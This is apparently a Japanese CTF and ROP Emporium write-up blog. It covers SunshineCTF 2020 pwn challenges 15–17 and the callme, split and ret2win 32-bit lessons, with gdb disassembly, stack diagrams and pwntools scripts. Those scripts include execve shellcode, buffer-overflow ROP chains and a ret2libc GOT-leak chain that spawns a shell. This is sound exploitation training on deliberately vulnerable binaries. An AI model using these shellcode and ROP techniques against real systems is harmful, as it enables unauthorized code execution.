from pwn import * # p=process('./chall_15') p=remote('chal.2020.sunshinectf.org',30015) e=ELF('./chall_15') # http://shell-storm.org/shellcode/files/shellcode-806.php shellcode=b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" p.sendline() p.recvuntil(': ') buf=int(p.recv(14)[2:],16)+18 payload=b'A'*10 payload+=p64(0xfacade) payload+=shellcode payload+=b'A'*(0x46+0x8-len(payload)) payload+=p64(buf) p.sendline(payload) p.interactive()
flag: sun{bat-country-53036e8a423559df}
16 (44 Pts)
長いのでGhidraでデコンパイル
void main(void) { size_t sVar1; size_t sVar2; long in_FS_OFFSET; int local_60; char local_58 [56]; long local_20; local_20 = *(long *)(in_FS_OFFSET + 0x28); fgets(local_58,0x31,stdin); sVar1 = strlen(local_58); sVar2 = strlen(key); if (sVar1 == sVar2) { local_60 = 0; while( true ) { sVar1 = strlen(key); if (sVar1 <= (ulong)(long)local_60) break; if (local_58[local_60] != key[local_60]) { /* WARNING: Subroutine does notreturn */ exit(0); } local_60 = local_60 + 1; } system("/bin/sh"); } if (local_20 != *(long *)(in_FS_OFFSET +0x28)) { /* WARNING: Subroutine does notreturn */ __stack_chk_fail(); } return; }
key
であるQueue epic guitar solo *syn starts shredding*
を入力するとシェルが起動する.
$ nc chal.2020.sunshinectf.org 30016 Queue epic guitar solo *syn starts shredding* ls chall_16 flag.txt cat flag.txt sun{beast-and-the-harlot-73058b6d2812c771} exit
flag: sun{beast-and-the-harlot-73058b6d2812c771}
17 (46 Pts)
gdb-peda$ disas main Dump of assembler code for function main: 0x00000000000009b9 <+0>: push rbp 0x00000000000009ba <+1>: mov rbp,rsp 0x00000000000009bd <+4>: sub rsp,0x10 0x00000000000009c1 <+8>: mov rax,QWORD PTR fs:0x28 0x00000000000009ca <+17>: mov QWORD PTR [rbp-0x8],rax 0x00000000000009ce <+21>: xor eax,eax 0x00000000000009d0 <+23>: mov edi,0x0 0x00000000000009d5 <+28>: call 0x7f0 <time@plt> 0x00000000000009da <+33>: mov edi,eax 0x00000000000009dc <+35>: call 0x7e0 <srand@plt> 0x00000000000009e1 <+40>: call 0x830 <rand@plt> 0x00000000000009e6 <+45>: mov DWORD PTR [rbp-0xc],eax 0x00000000000009e9 <+48>: lea rax,[rbp-0x10] 0x00000000000009ed <+52>: mov rsi,rax 0x00000000000009f0 <+55>: lea rdi,[rip+0xf3] # 0xaea 0x00000000000009f7 <+62>: mov eax,0x0 0x00000000000009fc <+67>: call 0x810 <__isoc99_scanf@plt> 0x0000000000000a01 <+72>: mov eax,DWORD PTR [rbp-0x10] 0x0000000000000a04 <+75>: cmp DWORD PTR [rbp-0xc],eax 0x0000000000000a07 <+78>: jne 0xa10 <main+87> 0x0000000000000a09 <+80>: call 0x95a <win> 0x0000000000000a0e <+85>: jmp 0xa29 <main+112> 0x0000000000000a10 <+87>: mov eax,DWORD PTR [rbp-0x10] 0x0000000000000a13 <+90>: mov edx,DWORD PTR [rbp-0xc] 0x0000000000000a16 <+93>: mov esi,eax 0x0000000000000a18 <+95>: lea rdi,[rip+0xce] # 0xaed 0x0000000000000a1f <+102>: mov eax,0x0 0x0000000000000a24 <+107>: call 0x7c0 <printf@plt> 0x0000000000000a29 <+112>: nop 0x0000000000000a2a <+113>: mov rax,QWORD PTR [rbp-0x8] 0x0000000000000a2e <+117>: xor rax,QWORD PTR fs:0x28 0x0000000000000a37 <+126>: je 0xa3e <main+133> 0x0000000000000a39 <+128>: call 0x7b0 <__stack_chk_fail@plt> 0x0000000000000a3e <+133>: leave 0x0000000000000a3f <+134>: ret End of assembler dump.
入力した数字がrand
で生成されたランダムな整数と一致するとwin
が実行されフラグが表示される. 一致しない場合は, 生成された整数が表示される.
srand
に同じ引数を与えるとrand
は同じ値を返す. ここではsrand
の引数にはtime
で取得した現在時刻が与えられる.
スクリプトで処理することで同じ値を生成させる. 1回目で生成された整数を取得し, 2回目でその整数を入力する.
from pwn import * # p=process('./chall_17') p=remote('chal.2020.sunshinectf.org',30017) p.sendline(str(0)) num=p.recv().split(b'\n')[1][len("Expected: "):] print(num) # p.kill() # p=process('./chall_17') p=remote('chal.2020.sunshinectf.org',30017) p.sendline(num) print(p.recv())
flag: sun{unholy-confessions-b74c1ed1f1d486fe}
ROP Emporium callme (32bit)
ROP Emporium
ROP Emporium
ROPの練習サイトです.
2020年7月に更新されていろいろ変わってるみたい.
callme (32bit)
$ ./callme32 callme by ROP Emporium x86 Hope you read the instructions... > aaaa Thank you! Exiting $ ./callme32 callme by ROP Emporium x86 Hope you read the instructions... > aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Thank you! Exiting Segmentation fault
gdbで解析していきます.
$ gdb ./callme32 gdb-peda$ i func All defined functions: Non-debugging symbols: 0x0804848c _init 0x080484c0 read@plt 0x080484d0 printf@plt 0x080484e0 callme_three@plt 0x080484f0 callme_one@plt 0x08048500 puts@plt 0x08048510 exit@plt 0x08048520 __libc_start_main@plt 0x08048530 setvbuf@plt 0x08048540 memset@plt 0x08048550 callme_two@plt 0x08048560 __gmon_start__@plt 0x08048570 _start 0x080485b0 _dl_relocate_static_pie 0x080485c0 __x86.get_pc_thunk.bx 0x080485d0 deregister_tm_clones 0x08048610 register_tm_clones 0x08048650 __do_global_dtors_aux 0x08048680 frame_dummy 0x08048686 main 0x080486ed pwnme 0x0804874f usefulFunction 0x080487a0 __libc_csu_init 0x08048800 __libc_csu_fini 0x08048804 _fini
usefulFunction
を見てみます.
gdb-peda$ disas usefulFunction Dump of assembler code for function usefulFunction: 0x0804874f <+0>: push ebp 0x08048750 <+1>: mov ebp,esp 0x08048752 <+3>: sub esp,0x8 0x08048755 <+6>: sub esp,0x4 0x08048758 <+9>: push 0x6 0x0804875a <+11>: push 0x5 0x0804875c <+13>: push 0x4 0x0804875e <+15>: call 0x80484e0 <callme_three@plt> 0x08048763 <+20>: add esp,0x10 0x08048766 <+23>: sub esp,0x4 0x08048769 <+26>: push 0x6 0x0804876b <+28>: push 0x5 0x0804876d <+30>: push 0x4 0x0804876f <+32>: call 0x8048550 <callme_two@plt> 0x08048774 <+37>: add esp,0x10 0x08048777 <+40>: sub esp,0x4 0x0804877a <+43>: push 0x6 0x0804877c <+45>: push 0x5 0x0804877e <+47>: push 0x4 0x08048780 <+49>: call 0x80484f0 <callme_one@plt> 0x08048785 <+54>: add esp,0x10 0x08048788 <+57>: sub esp,0xc 0x0804878b <+60>: push 0x1 0x0804878d <+62>: call 0x8048510 <exit@plt> End of assembler dump.
callme_one
, callme_two
, callme_three
が呼ばれています. 引数が3つ必要みたいで4,5,6が指定されています.
プログラムを走らせてcallme_one
を見てみます.
gdb-peda$ start gdb-peda$ disas callme_one Dump of assembler code for function callme_one: 0xf7fca63d <+0>: push ebp 0xf7fca63e <+1>: mov ebp,esp 0xf7fca640 <+3>: push ebx 0xf7fca641 <+4>: sub esp,0x14 0xf7fca644 <+7>: call 0xf7fca540 <__x86.get_pc_thunk.bx> 0xf7fca649 <+12>: add ebx,0x19b7 0xf7fca64f <+18>: cmp DWORD PTR [ebp+0x8],0xdeadbeef 0xf7fca656 <+25>: jne 0xf7fca733 <callme_one+246> 0xf7fca65c <+31>: cmp DWORD PTR [ebp+0xc],0xcafebabe 0xf7fca663 <+38>: jne 0xf7fca733 <callme_one+246> 0xf7fca669 <+44>: cmp DWORD PTR [ebp+0x10],0xd00df00d 0xf7fca670 <+51>: jne 0xf7fca733 <callme_one+246> 0xf7fca676 <+57>: mov DWORD PTR [ebp-0xc],0x0 0xf7fca67d <+64>: sub esp,0x8 0xf7fca680 <+67>: lea eax,[ebx-0x1600] 0xf7fca686 <+73>: push eax 0xf7fca687 <+74>: lea eax,[ebx-0x15fe] 0xf7fca68d <+80>: push eax 0xf7fca68e <+81>: call 0xf7fca510 <fopen@plt> 0xf7fca693 <+86>: add esp,0x10 0xf7fca696 <+89>: mov DWORD PTR [ebp-0xc],eax 0xf7fca699 <+92>: cmp DWORD PTR [ebp-0xc],0x0 0xf7fca69d <+96>: jne 0xf7fca6bb <callme_one+126> 0xf7fca69f <+98>: sub esp,0xc 0xf7fca6a2 <+101>: lea eax,[ebx-0x15e8] 0xf7fca6a8 <+107>: push eax 0xf7fca6a9 <+108>: call 0xf7fca4f0 <puts@plt> 0xf7fca6ae <+113>: add esp,0x10 0xf7fca6b1 <+116>: sub esp,0xc 0xf7fca6b4 <+119>: push 0x1 0xf7fca6b6 <+121>: call 0xf7fca500 <exit@plt> 0xf7fca6bb <+126>: sub esp,0xc 0xf7fca6be <+129>: push 0x21 0xf7fca6c0 <+131>: call 0xf7fca4e0 <malloc@plt> 0xf7fca6c5 <+136>: add esp,0x10 0xf7fca6c8 <+139>: mov DWORD PTR [ebx+0x30],eax 0xf7fca6ce <+145>: mov eax,DWORD PTR [ebx+0x30] 0xf7fca6d4 <+151>: test eax,eax 0xf7fca6d6 <+153>: jne 0xf7fca6f4 <callme_one+183> 0xf7fca6d8 <+155>: sub esp,0xc 0xf7fca6db <+158>: lea eax,[ebx-0x15c6] 0xf7fca6e1 <+164>: push eax 0xf7fca6e2 <+165>: call 0xf7fca4f0 <puts@plt> 0xf7fca6e7 <+170>: add esp,0x10 0xf7fca6ea <+173>: sub esp,0xc 0xf7fca6ed <+176>: push 0x1 0xf7fca6ef <+178>: call 0xf7fca500 <exit@plt> 0xf7fca6f4 <+183>: mov eax,DWORD PTR [ebx+0x30] 0xf7fca6fa <+189>: sub esp,0x4 0xf7fca6fd <+192>: push DWORD PTR [ebp-0xc] 0xf7fca700 <+195>: push 0x21 0xf7fca702 <+197>: push eax 0xf7fca703 <+198>: call 0xf7fca4c0 <fgets@plt> 0xf7fca708 <+203>: add esp,0x10 0xf7fca70b <+206>: mov DWORD PTR [ebx+0x30],eax 0xf7fca711 <+212>: sub esp,0xc 0xf7fca714 <+215>: push DWORD PTR [ebp-0xc] 0xf7fca717 <+218>: call 0xf7fca4d0 <fclose@plt> 0xf7fca71c <+223>: add esp,0x10 0xf7fca71f <+226>: sub esp,0xc 0xf7fca722 <+229>: lea eax,[ebx-0x15ac] 0xf7fca728 <+235>: push eax 0xf7fca729 <+236>: call 0xf7fca4f0 <puts@plt> 0xf7fca72e <+241>: add esp,0x10 0xf7fca731 <+244>: jmp 0xf7fca74f <callme_one+274> 0xf7fca733 <+246>: sub esp,0xc 0xf7fca736 <+249>: lea eax,[ebx-0x158e] 0xf7fca73c <+255>: push eax 0xf7fca73d <+256>: call 0xf7fca4f0 <puts@plt> 0xf7fca742 <+261>: add esp,0x10 0xf7fca745 <+264>: sub esp,0xc 0xf7fca748 <+267>: push 0x1 0xf7fca74a <+269>: call 0xf7fca500 <exit@plt> 0xf7fca74f <+274>: nop 0xf7fca750 <+275>: mov ebx,DWORD PTR [ebp-0x4] 0xf7fca753 <+278>: leave 0xf7fca754 <+279>: ret End of assembler dump.
第1引数が0xdeadbeef
, 第2引数が0xcafebabe
, 第3引数が0xd00df00d
でないとダメみたいです. その後, fopen
が呼ばれています.
callme_two
, callme_three
もcallme_one
と同様に引数のチェックが行われ, fopen
が呼ばれています.
ここにあるように適切な引数でcallme_one
, callme_two
, callme_three
の順に呼び出せばよさそうです.
main
とpwnme
はret2winと同じで, pwnme
でバッファオーバーフローが起こります. offsetは44.
関数を順番に実行するにはリターンアドレスを次に実行する関数のアドレスにすればいいですが, 引数の配置が悪く実行できません. そこで引数をpop
してからret
することで次の関数を実行できます. ここでは3つの引数があるのでpop
を3回してからret
します.
gdb-peda$ ropgadget ret = 0x8048496 popret = 0x80484ad pop2ret = 0x80487fa pop3ret = 0x80487f9 pop4ret = 0x80487f8 addesp_12 = 0x80484aa addesp_16 = 0x80485f2
0x80487f9
にとばせばpop
を3回してからret
してくれます.
+--------------------+ | AAAA | +--------------------+ | callme_one@plt | +--------------------+ | pop3ret | +--------------------+ | 0xdeadbeef | +--------------------+ | 0xcafebabe | +--------------------+ | 0xd00df00d | +--------------------+ | callme_two@plt | +--------------------+ | pop3ret | +--------------------+ | 0xdeadbeef | +--------------------+ | 0xcafebabe | +--------------------+ | 0xd00df00d | +--------------------+ | callme_three@plt | +--------------------+ | pop3ret | +--------------------+ | 0xdeadbeef | +--------------------+ | 0xcafebabe | +--------------------+ | 0xd00df00d | +--------------------+
スクリプトを書いた.
from pwn import * p=process('./callme32') e=ELF('./callme32') callme_one_plt=e.plt['callme_one'] callme_two_plt=e.plt['callme_two'] callme_three_plt=e.plt['callme_three'] pop3ret=0x80487f9 arg1=0xdeadbeef arg2=0xcafebabe arg3=0xd00df00d payload=b'A'*44 payload+=p32(callme_one_plt) payload+=p32(pop3ret) payload+=p32(arg1) payload+=p32(arg2) payload+=p32(arg3) payload+=p32(callme_two_plt) payload+=p32(pop3ret) payload+=p32(arg1) payload+=p32(arg2) payload+=p32(arg3) payload+=p32(callme_three_plt) payload+=p32(pop3ret) payload+=p32(arg1) payload+=p32(arg2) payload+=p32(arg3) p.recv() p.sendline(payload) print(p.recvall().decode())
別解
シェルの起動を目指します.
GOT領域に存在するlibc
内の関数のアドレスをリークしてそれをもとに各関数のアドレスを計算します.
libc
内での各関数のアドレスを調べます. また, /bin/sh
が必要なのでそのアドレスも調べます.
$ ldd ./callme32 linux-gate.so.1 (0xf7f92000) libcallme32.so => ./libcallme32.so (0xf7f8a000) libc.so.6 => /lib32/libc.so.6 (0xf7d8c000) /lib/ld-linux.so.2 (0xf7f93000) $ nm -D /lib32/libc.so.6 | grep system 00044f00 T __libc_system 001344e0 T svcerr_systemerr 00044f00 W system $ nm -D /lib32/libc.so.6 | grep puts 0006eae0 T _IO_fputs 00070320 T _IO_puts 0006eae0 W fputs 00079a70 W fputs_unlocked 00070320 W puts 0010afb0 T putsgent 001093a0 T putspent $ strings -tx /lib32/libc.so.6 | grep /bin/sh 18c32b /bin/sh
やることは以下の通りです.
puts
関数でputs
のGOTアドレスをリークmain
に戻る- リークしたアドレスをもとに関数と引数のアドレスを計算
system("/bin/sh")
を実行
from pwn import * p=process('./callme32') e=ELF('./callme32') puts_plt=e.plt['puts'] puts_got=e.got['puts'] main=e.symbols['main'] pop_ret=0x80484ad system_libc=0x00044f00 puts_libc=0x00070320 arg_libc=0x18c32b payload=b'A'*44 payload+=p32(puts_plt) payload+=p32(pop_ret) payload+=p32(puts_got) payload+=p32(main) p.recv() p.sendline(payload) p.recvuntil('Thank you!\n') libc=u32(p.recv(4))-puts_libc system=libc+system_libc arg=libc+arg_libc print(hex(libc)) payload=b'A'*44 payload+=p32(system) payload+=b'BBBB' payload+=p32(arg) p.recv() p.sendline(payload) p.interactive()
ROP Emporium split (32bit)
ROP Emporium
ROP Emporium
ROPの練習サイトです.
2020年7月に更新されていろいろ変わってるみたい.
split (32bit)
$ ./split32 split by ROP Emporium x86 Contriving a reason to ask user for data... > aaaa Thank you! Exiting $ ./split32 split by ROP Emporium x86 Contriving a reason to ask user for data... > aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Thank you! Segmentation fault
gdbで解析していきます.
$ gdb ./split32 gdb-peda$ i func All defined functions: Non-debugging symbols: 0x08048374 _init 0x080483b0 read@plt 0x080483c0 printf@plt 0x080483d0 puts@plt 0x080483e0 system@plt 0x080483f0 __libc_start_main@plt 0x08048400 setvbuf@plt 0x08048410 memset@plt 0x08048420 __gmon_start__@plt 0x08048430 _start 0x08048470 _dl_relocate_static_pie 0x08048480 __x86.get_pc_thunk.bx 0x08048490 deregister_tm_clones 0x080484d0 register_tm_clones 0x08048510 __do_global_dtors_aux 0x08048540 frame_dummy 0x08048546 main 0x080485ad pwnme 0x0804860c usefulFunction 0x08048630 __libc_csu_init 0x08048690 __libc_c
usefulFunction
を見てみます.
gdb-peda$ disas usefulFunction Dump of assembler code for function usefulFunction: 0x0804860c <+0>: push ebp 0x0804860d <+1>: mov ebp,esp 0x0804860f <+3>: sub esp,0x8 0x08048612 <+6>: sub esp,0xc 0x08048615 <+9>: push 0x804870e 0x0804861a <+14>: call 0x80483e0 <system@plt> 0x0804861f <+19>: add esp,0x10 0x08048622 <+22>: nop 0x08048623 <+23>: leave 0x08048624 <+24>: ret End of assembler dump. gdb-peda$ x/s 0x804870e 0x804870e: "/bin/ls"
system("/bin/ls")
するだけ.
他のシンボルを調べます.
gdb-peda$ i var All defined variables: Non-debugging symbols: 0x080486a8 _fp_hw 0x080486ac _IO_stdin_used 0x08048718 __GNU_EH_FRAME_HDR 0x08048894 __FRAME_END__ 0x08049f0c __frame_dummy_init_array_entry 0x08049f0c __init_array_start 0x08049f10 __do_global_dtors_aux_fini_array_entry 0x08049f10 __init_array_end 0x08049f14 _DYNAMIC 0x0804a000 _GLOBAL_OFFSET_TABLE_ 0x0804a028 __data_start 0x0804a028 data_start 0x0804a02c __dso_handle 0x0804a030 usefulString 0x0804a042 __bss_start 0x0804a042 _edata 0x0804a044 __TMC_END__ 0x0804a044 stdout 0x0804a044 stdout@@GLIBC_2.0 0x0804a048 completed 0x0804a04c _end
usefulString
を見てみます.
gdb-peda$ x/s 0x0804a030 0x804a030 <usefulString>: "/bin/cat flag.txt"
使えそうな文字列です.
main
とpwnme
はret2winと同じ. pwnme
でバッファオーバーフローが起こる. offsetは44.
ということでリターンアドレスを書き換えてsystem("/bin/cat flag.txt")
を実行します.
+--------------------+ | AAAA | +--------------------+ | system@plt | +--------------------+ | BBBB | +--------------------+ | usefulString | +--------------------+
(今回も必要ない気がするけど)スクリプトを書いた.
from pwn import * p=process('./split32') e=ELF('./split32') plt_system=e.plt['system'] usefulString=e.symbols['usefulString'] payload=b'A'*44 payload+=p32(plt_system) payload+=b'BBBB' payload+=p32(usefulString) p.recv() p.sendline(payload) print(p.recvall().decode())
ROP Emporium ret2win (32bit)
ROP Emporium
ROP Emporium
ROPの練習サイトです.
2020年7月に更新されていろいろ変わってるみたい.
ret2win (32bit)
$ ./ret2win32 ret2win by ROP Emporium x86 For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer! What could possibly go wrong? You there, may I have your input please? And don't worry about null bytes, we're using read()! > aaaa Thank you! Exiting $ ./ret2win32 ret2win by ROP Emporium x86 For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer! What could possibly go wrong? You there, may I have your input please? And don't worry about null bytes, we're using read()! > aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Thank you! Segmentation fault
gdbで解析していきます.
$ gdb ./ret2win gdb-peda$ i func All defined functions: Non-debugging symbols: 0x08048374 _init 0x080483b0 read@plt 0x080483c0 printf@plt 0x080483d0 puts@plt 0x080483e0 system@plt 0x080483f0 __libc_start_main@plt 0x08048400 setvbuf@plt 0x08048410 memset@plt 0x08048420 __gmon_start__@plt 0x08048430 _start 0x08048470 _dl_relocate_static_pie 0x08048480 __x86.get_pc_thunk.bx 0x08048490 deregister_tm_clones 0x080484d0 register_tm_clones 0x08048510 __do_global_dtors_aux 0x08048540 frame_dummy 0x08048546 main 0x080485ad pwnme 0x0804862c ret2win 0x08048660 __libc_csu_init 0x080486c0 __libc_csu_fini 0x080486c4 _fini
ret2win
という関数があります.
gdb-peda$ disas ret2win Dump of assembler code for function ret2win: 0x0804862c <+0>: push ebp 0x0804862d <+1>: mov ebp,esp 0x0804862f <+3>: sub esp,0x8 0x08048632 <+6>: sub esp,0xc 0x08048635 <+9>: push 0x80487f6 0x0804863a <+14>: call 0x80483d0 <puts@plt> 0x0804863f <+19>: add esp,0x10 0x08048642 <+22>: sub esp,0xc 0x08048645 <+25>: push 0x8048813 0x0804864a <+30>: call 0x80483e0 <system@plt> 0x0804864f <+35>: add esp,0x10 0x08048652 <+38>: nop 0x08048653 <+39>: leave 0x08048654 <+40>: ret End of assembler dump. gdb-peda$ x/s 0x8048813 0x8048813: "/bin/cat flag.txt"
flag.txt
を表示してくれる関数みたい.
main
を見ていきます.
gdb-peda$ disas main Dump of assembler code for function main: 0x08048546 <+0>: lea ecx,[esp+0x4] 0x0804854a <+4>: and esp,0xfffffff0 0x0804854d <+7>: push DWORD PTR [ecx-0x4] 0x08048550 <+10>: push ebp 0x08048551 <+11>: mov ebp,esp 0x08048553 <+13>: push ecx 0x08048554 <+14>: sub esp,0x4 0x08048557 <+17>: mov eax,ds:0x804a030 0x0804855c <+22>: push 0x0 0x0804855e <+24>: push 0x2 0x08048560 <+26>: push 0x0 0x08048562 <+28>: push eax 0x08048563 <+29>: call 0x8048400 <setvbuf@plt> 0x08048568 <+34>: add esp,0x10 0x0804856b <+37>: sub esp,0xc 0x0804856e <+40>: push 0x80486e0 0x08048573 <+45>: call 0x80483d0 <puts@plt> 0x08048578 <+50>: add esp,0x10 0x0804857b <+53>: sub esp,0xc 0x0804857e <+56>: push 0x80486f8 0x08048583 <+61>: call 0x80483d0 <puts@plt> 0x08048588 <+66>: add esp,0x10 0x0804858b <+69>: call 0x80485ad <pwnme> 0x08048590 <+74>: sub esp,0xc 0x08048593 <+77>: push 0x80486fd 0x08048598 <+82>: call 0x80483d0 <puts@plt> 0x0804859d <+87>: add esp,0x10 0x080485a0 <+90>: mov eax,0x0 0x080485a5 <+95>: mov ecx,DWORD PTR [ebp-0x4] 0x080485a8 <+98>: leave 0x080485a9 <+99>: lea esp,[ecx-0x4] 0x080485ac <+102>: ret End of assembler dump.
pwnme
が呼ばれています.
gdb-peda$ disas pwnme Dump of assembler code for function pwnme: 0x080485ad <+0>: push ebp 0x080485ae <+1>: mov ebp,esp 0x080485b0 <+3>: sub esp,0x28 0x080485b3 <+6>: sub esp,0x4 0x080485b6 <+9>: push 0x20 0x080485b8 <+11>: push 0x0 0x080485ba <+13>: lea eax,[ebp-0x28] 0x080485bd <+16>: push eax 0x080485be <+17>: call 0x8048410 <memset@plt> 0x080485c3 <+22>: add esp,0x10 0x080485c6 <+25>: sub esp,0xc 0x080485c9 <+28>: push 0x8048708 0x080485ce <+33>: call 0x80483d0 <puts@plt> 0x080485d3 <+38>: add esp,0x10 0x080485d6 <+41>: sub esp,0xc 0x080485d9 <+44>: push 0x8048768 0x080485de <+49>: call 0x80483d0 <puts@plt> 0x080485e3 <+54>: add esp,0x10 0x080485e6 <+57>: sub esp,0xc 0x080485e9 <+60>: push 0x8048788 0x080485ee <+65>: call 0x80483d0 <puts@plt> 0x080485f3 <+70>: add esp,0x10 0x080485f6 <+73>: sub esp,0xc 0x080485f9 <+76>: push 0x80487e8 0x080485fe <+81>: call 0x80483c0 <printf@plt> 0x08048603 <+86>: add esp,0x10 0x08048606 <+89>: sub esp,0x4 0x08048609 <+92>: push 0x38 0x0804860b <+94>: lea eax,[ebp-0x28] 0x0804860e <+97>: push eax 0x0804860f <+98>: push 0x0 0x08048611 <+100>: call 0x80483b0 <read@plt> 0x08048616 <+105>: add esp,0x10 0x08048619 <+108>: sub esp,0xc 0x0804861c <+111>: push 0x80487eb 0x08048621 <+116>: call 0x80483d0 <puts@plt> 0x08048626 <+121>: add esp,0x10 0x08048629 <+124>: nop 0x0804862a <+125>: leave 0x0804862b <+126>: ret End of assembler dump.
memset
で32(=0x20)byteしか確保されてないけど, read
で最大56(=0x38)byteまで読み込める. ここでバッファオーバーフローが起きそうです.
offsetを調べます.
gdb-peda$ pattc 100 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL' gdb-peda$ r [----------------------------------registers-----------------------------------] EAX: 0xb ('\x0b') EBX: 0x0 ECX: 0xffffffff EDX: 0xffffffff ESI: 0xf7fb4000 --> 0x1e4d6c EDI: 0xf7fb4000 --> 0x1e4d6c EBP: 0x41304141 ('AA0A') ESP: 0xffffdbc0 ("bAA1AAGA") EIP: 0x41414641 ('AFAA') EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow) gdb-peda$ patto AFAA AFAA found at offset: 44
offsetは44
リターンアドレスを書き換えてret2win
を呼び出します.
(今回は必要ない気がするけど)スクリプトを書いた.
from pwn import * p=process('./ret2win32') e=ELF('./ret2win32') ret2win=e.symbols['ret2win'] payload=b'A'*44+p32(ret2win) p.recv() p.sendline(payload) print(p.recvall().decode())